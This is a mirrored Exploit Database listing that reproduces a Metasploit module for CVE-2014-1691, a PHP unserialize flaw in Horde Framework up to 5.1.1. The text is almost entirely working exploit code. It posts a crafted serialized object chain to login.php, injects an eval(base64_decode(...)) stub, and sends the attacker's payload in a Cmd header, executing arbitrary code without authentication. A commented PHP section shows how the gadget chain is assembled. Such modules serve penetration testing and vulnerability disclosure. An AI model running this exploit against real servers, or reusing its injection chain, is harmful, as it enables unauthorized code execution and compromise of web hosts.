Horde Framework – Unserialize PHP Code Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2014-03-22
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/32439/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Horde Framework Unserialize PHP Code Execution',
  'Description'=> %q{
  This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be
  abused to allow unauthenticated users to execute arbitrary code with the permissions of
  the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file.
  The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean
  class to reach a dangerous call_user_func() call in the Horde_Prefs class.
  },
  'Author' =>
  [
  'EgiX', # Exploitation technique and Vulnerability discovery (originally reported by the vendor)
  'juan vazquez' # Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2014-1691' ],
  [ 'URL', 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ],
  [ 'URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ],
  [ 'URL', 'https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3' ]
  ],
  'Privileged' => false,
  'Platform' => ['php'],
  'Arch' => ARCH_PHP,
  'Payload'=>
  {
  'DisableNops' => true
  },
  'Targets'=> [ ['Horde 5', { }], ],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Jun 27 2013'
  ))
  
  register_options(
  [
  OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"])
  ], self.class)
  end
  
  def check
  flag = rand_text_alpha(rand(10)+20)
  res = send_request_exploit("print #{flag};die;")
  if res and res.body and res.body.to_s =~ /#{flag}/
  return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  print_status("#{peer} - Testing injection...")
  unless check == Exploit::CheckCode::Vulnerable
  fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable, exiting...")
  end
  
  print_status("#{peer} - Exploiting the unserialize()...")
  send_request_exploit(payload.encoded)
  end
  
  def send_request_exploit(p)
  php_injection = "eval(base64_decode($_SERVER[HTTP_CMD]));die();"
  
  payload_serialized = "O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";"
  payload_serialized << "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";"
  payload_serialized << "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:#{php_injection.length}:\"#{php_injection}\";}i:1;s:13:\"readXMLConfig\";}}"
  payload_serialized << "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}"
  payload_serialized << "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}"
  
  send_request_cgi(
  {
  'uri' => normalize_uri(target_uri.path.to_s, "login.php"),
  'method'=> 'POST',
  'vars_post' => {
  '_formvars' => payload_serialized
  },
  'headers' => {
  'Cmd' => Rex::Text.encode_base64(p)
  }
  })
  end
  end
  
  =begin
  
  PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
  
  class Horde_Config
  {
   protected $_oldConfig = "phpinfo();die;";
  }
  
  class Horde_Prefs_Scope
  {
   protected $_prefs = array(1);
  }
  
  class Horde_Prefs
  {
   protected $_opts, $_scopes;
  
   function __construct()
   {
  $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
  $this->_scopes['horde'] = new Horde_Prefs_Scope;
   }
  }
  
  class Horde_Prefs_Identity
  {
   protected $_prefs, $_prefnames;
  
   function __construct()
   {
  $this->_prefs = new Horde_Prefs;
  $this->_prefnames['identities'] = 0;
   }
  }
  
  class Horde_Kolab_Server_Decorator_Clean
  {
   private $_server, $_added = array(1);
  
   function __construct()
   {
  $this->_server = new Horde_Prefs_Identity;
   }
  }
  
  $popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
  
  =end